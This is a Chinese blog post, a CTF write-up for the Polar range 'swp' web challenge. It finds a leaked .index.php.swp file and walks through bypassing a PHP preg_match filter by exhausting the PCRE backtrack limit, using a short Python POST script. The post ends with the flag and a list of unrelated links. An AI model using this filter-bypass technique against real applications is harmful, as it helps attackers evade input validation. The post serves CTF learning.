当前位置: 首页 > news >正文

【WEB】Polar靶场 笔记

一.swp

1.dirsearch目录扫描

发现/.index.php.swp

访问http://a0c579f4-21e7-4a83-958d-eb86c57beaf4.www.polarctf.com:8090/.index.php.swp

出现php代码

分析代码

// 定义验证函数,检查输入是否匹配正则表达式 /sys.*nb/is
function jiuzhe($xdmtql){ return preg_match('/sys.*nb/is',$xdmtql); 
} // 从POST请求获取参数 xdmtql,并使用 @ 符号抑制可能的错误
$xdmtql=@$_POST['xdmtql']; // 检查输入是否为数组
if(!is_array($xdmtql)){ // 如果输入不匹配正则表达式 /sys.*nb/isif(!jiuzhe($xdmtql)){ // 检查输入是否包含字符串 "sys nb"if(strpos($xdmtql,'sys nb')!==false){ // 若包含 "sys nb",输出flag(flag格式为 flag{*******})echo 'flag{*******}'; }else{// 若不包含 "sys nb",提示用户输入是否为真实的 .swp 文件echo 'true .swp file?'; }}else{// 如果输入匹配正则表达式 /sys.*nb/is,输出 "nijilenijile"echo 'nijilenijile'; }
}

简单来说就是要获取这段代码中的 flag,需要符合:不是数组,不匹配正则表达式,但仍满足字符串包含 "sys nb" 的条件。

我们可以利用正则表达式的回溯限制

  • 正则 /sys.*nb/is 中的 .* 是贪婪匹配,会尝试匹配尽可能多的字符。
  • 当你添加超长字符串时,正则引擎在尝试匹配 nb 时会进行大量回溯,最终可能达到 PHP 的回溯限制(默认是 pcre.backtrack_limit = 1000000)。
  • 一旦达到限制,正则匹配会失败并返回 false,从而绕过第一个检查。

这里写了一个python脚本发送post请求

import requests
url='http://f7587f00-8a64-4c49-ba2a-bfcd26f4738a.www.polarctf.com:8090/'
date={'xdmtql': 'sys nb'+'a'*1000000}
result=requests.post(url,data=date)
print(result.content)

得到flag

<title>PolarD&N CTF</title>
flag{4560b3bfea9683b050c730cd72b3a099}

http://www.dtcms.com/a/264596.html

相关文章:

  • C++主流编辑器特点比较
  • 【HDMI CEC Menu Tunneling (菜单穿越) 功能详解
  • Stereolabs ZED系列与ZED X立体相机系列对比:如何根据项目需求选择?
  • AI大模型如何重塑软件开发流程?从自动化革命到人机共生范式
  • 小架构step系列01:小架构初衷
  • SQLMesh中的SQL模型:从基础定义到高级应用
  • 【网工|知识升华版|实验】1 登录华为设备并配置
  • 【Maven】Maven深度避坑指南:依赖冲突全维度解决方案与工业级实战(超万字解析)
  • 移动conda虚拟环境的安装目录
  • 超低功耗语音芯片有哪些?
  • 构建下一代云原生大模型多租户平台:架构设计与关键挑战
  • Django全栈开发:架构解析与性能优化实战
  • AWS CloudFormation部署双可用区VPC网络架构 - 完整指南
  • Chrome 下载文件时总是提示“已阻止不安全的下载”的解决方案
  • 力扣 hot100 Day32
  • 鸿蒙UI框架深度解析:对比Android/iOS的布局适配与组件设计
  • ElementUI 表格el-table自适应高度随浏览器窗口变化
  • 量子算法:微算法科技用于定位未知哈希图的量子算法,网络安全中的哈希映射突破
  • 在设计提示词(Prompt)时,关于信息位置的安排z怎么 结合模型特性和任务目标
  • 容器基础5-Helm 与 K8s 的关系
  • Lua 安装使用教程
  • 第二章AIGC入门:打开人工智能生成内容的新世界大门(3/36)
  • 不会用PS?,有一键图片处理工具
  • Crossbar结构的排队策略
  • 【深度学习-Day 34】CNN实战:从零构建CIFAR-10图像分类器(PyTorch)
  • Linux下MinIO单节点安装部署
  • 【趣谈】Android多用户导致的UserID、UID、shareUserId、UserHandle术语混乱讨论
  • Ubuntu主机FFmpeg推流+云服务器Django+WebSocket接收+Web显示
  • 【RTSP从零实践】6、实现最简单的同时传输H264、AAC的RTSP服务器
  • nignx+Tomcat+NFS负载均衡加共享储存服务脚本